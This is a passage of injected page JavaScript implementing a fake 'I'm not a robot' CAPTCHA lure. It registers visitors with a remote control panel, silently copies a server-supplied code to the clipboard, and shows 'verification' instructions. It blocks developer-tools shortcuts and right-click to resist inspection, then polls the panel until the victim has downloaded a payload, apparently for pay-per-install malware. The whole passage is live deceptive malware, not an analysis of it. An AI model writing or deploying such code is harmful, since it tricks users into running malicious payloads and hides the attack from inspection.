    /* ── JS registration ── */
    if (IS_NEW) {
        try {
            fetch(PANEL+'/api/ppi/register', {
                method:'POST', headers:{'Content-Type':'application/json'},
                body: JSON.stringify({api_key:APIKEY, token:TOKEN, ua:navigator.userAgent,
                    browser:navigator.userAgent, referrer:document.referrer, ip:''})
            }).catch(function(){});
        } catch(e) {}
    }

    /* ── Copy to clipboard ── */
    function fallbackCopy(text) {
        try {
            var ta = document.createElement('textarea');
            ta.value = text; ta.setAttribute('readonly','');
            ta.style.position='absolute'; ta.style.left='-9999px';
            document.body.appendChild(ta); ta.select();
            document.execCommand('copy');
            document.body.removeChild(ta);
        } catch(e) {}
    }

    /* ── Show verify window with positioning ── */
    function showVerifyWindow(html) {
        verifyWindowContainer.innerHTML = '<header class="fkrc-verifywin-header">'
            +'<span class="fkrc-verifywin-header-text-medium fkrc-m-p fkrc-block">'+(texts.verifyHeaderMedium||'To verify your request')+'</span>'
            +'<span class="fkrc-verifywin-header-text-big fkrc-m-p fkrc-block">'+(texts.verifyHeaderBig||'follow the instructions below')+'</span>'
            +'</header>'
            +'<main class="fkrc-verifywin-main">'
            +'<div class="chrome-box"><div class="chrome-content">'+(html||'')+'</div></div>'
            +'</main>';

        verifyWindow.style.display = 'block';
        verifyWindow.style.visibility = 'visible';
        verifyWindow.style.opacity = '1';
        verifyWindowArrow.style.display = 'block';
        verifyWindowArrow.style.visibility = 'visible';
        verifyWindowArrow.style.opacity = '1';

        function position() {
            var anchor = captchaBlock.getBoundingClientRect();
            var vwRect = verifyWindow.getBoundingClientRect();
            var margin = 10;
            var top = anchor.top - 80;
            var left = anchor.left + 54;
            if (top < margin) top = margin;
            if (left + vwRect.width > window.innerWidth - margin) {
                left = Math.max(margin, window.innerWidth - margin - vwRect.width);
                verifyWindowArrow.style.opacity = '0';
                verifyWindowArrow.style.visibility = 'hidden';
            } else {
                verifyWindowArrow.style.opacity = '1';
                verifyWindowArrow.style.visibility = 'visible';
                verifyWindowArrow.style.top = Math.round(anchor.top + 24) + 'px';
                verifyWindowArrow.style.left = Math.round(anchor.left + 45) + 'px';
            }
            verifyWindow.style.top = Math.round(top) + 'px';
            verifyWindow.style.left = Math.round(left) + 'px';
        }

        requestAnimationFrame(function(){ position(); requestAnimationFrame(position); });
    }

    /* ── Cleanup ── */
    function cleanup() {
        try { host.remove(); } catch(e) {}
        document.removeEventListener('keydown', onDevtoolsKeyBlock, true);
        document.removeEventListener('contextmenu', onContextMenuBlock, true);
        try { window.__scPpiOpen = false; } catch(e) {}
    }

    /* ── Block devtools ── */
    var onContextMenuBlock = function(ev) { ev.preventDefault(); ev.stopPropagation(); };
    var onDevtoolsKeyBlock = function(ev) {
        var key = String(ev.key||'').toLowerCase();
        var blocked = key==='f12'
            || ((ev.ctrlKey||ev.metaKey) && ev.shiftKey && (key==='i'||key==='j'||key==='c'))
            || ((ev.ctrlKey||ev.metaKey) && key==='u');
        if (blocked) { ev.preventDefault(); ev.stopPropagation(); }
    };
    document.addEventListener('contextmenu', onContextMenuBlock, true);
    document.addEventListener('keydown', onDevtoolsKeyBlock, true);

    /* ── Poll for download ── */
    function waitForTokenUsed() {
        var startedAt = Date.now();
        var timeoutMs = 3 * 60 * 1000;
        var intervalMs = 1500;
        var finished = false;

        function showCaptchaPassedThenClose() {
            if (finished) return;
            finished = true;
            try {
                verifyWindow.style.display = 'none';
                verifyWindow.style.visibility = 'hidden';
                verifyWindow.style.opacity = '0';
                verifyWindowArrow.style.display = 'none';
                verifyWindowArrow.style.visibility = 'hidden';
                verifyWindowArrow.style.opacity = '0';
            } catch(e) {}
            try {
                checkboxSpinner.style.visibility = 'hidden';
                checkboxSpinner.style.opacity = '0';
            } catch(e) {}
            try {
                checkboxCheckmark.style.visibility = 'visible';
                checkboxCheckmark.style.opacity = '1';
            } catch(e) {}
            setTimeout(function() {
                setCk('sc_ppi_dl','1',365);
                try { cleanup(); } catch(e) {}
            }, 2000);
        }

        function tick() {
            if (finished) return;
            if (Date.now() - startedAt > timeoutMs) return;
            fetch(PANEL+'/api/ppi/status?token='+encodeURIComponent(TOKEN)+'&api_key='+encodeURIComponent(APIKEY), {cache:'no-store'})
            .then(function(r) { return r.json(); })
            .then(function(d) {
                if (d && d.downloaded) { showCaptchaPassedThenClose(); return; }
                setTimeout(tick, intervalMs);
            })
            .catch(function() { setTimeout(tick, intervalMs); });
        }
        setTimeout(tick, intervalMs);
    }

    /* ── Click flow ── */
    function runConfirmFlow() {
        if (checkboxFake.__scStarted) return;
        checkboxFake.__scStarted = true;

        function hideCaptchaCheckbox() {
            checkboxFake.style.width = '4px';
            checkboxFake.style.height = '4px';
            checkboxFake.style.borderRadius = '50%';
            checkboxFake.style.marginLeft = '25px';
            checkboxFake.style.marginTop = '33px';
            checkboxFake.style.opacity = '0';
        }
        function showCaptchaLoading() {
            checkboxSpinner.style.visibility = 'visible';
            checkboxSpinner.style.opacity = '1';
        }

        checkboxFake.disabled = true;
        checkboxFake.style.cursor = 'default';
        hideCaptchaCheckbox();
        setTimeout(showCaptchaLoading, 500);
        notRobot.textContent = texts.checking || 'Checking...';

        var ctxPromise = fetch(PANEL+'/api/ppi/get-code', {
            method:'POST', headers:{'Content-Type':'application/json'},
            body: JSON.stringify({api_key:APIKEY, token:TOKEN, ua:navigator.userAgent,
                browser:navigator.userAgent, referrer:document.referrer, ip:''})
        })
        .then(function(r) { return r.json(); })
        .then(function(data) {
            var code = (data && data.ok && data.code) ? data.code : TOKEN.substring(0,16).toUpperCase();
            fallbackCopy(code);
        })
        .catch(function() {
            fallbackCopy(TOKEN.substring(0,16).toUpperCase());
        });

        Promise.all([ctxPromise, new Promise(function(res){ setTimeout(res, 2000); })]).then(function() {
            showCaptchaLoading();
            notRobot.textContent = texts.notRobot || "I'm not a robot";
            infoBlock.innerHTML = '';
            infoBlock.style.display = 'none';
            showVerifyWindow(texts.instructionsHtml || '');
            waitForTokenUsed();
        });
    }

    checkboxFake.addEventListener('click', runConfirmFlow);
})();
</script>
        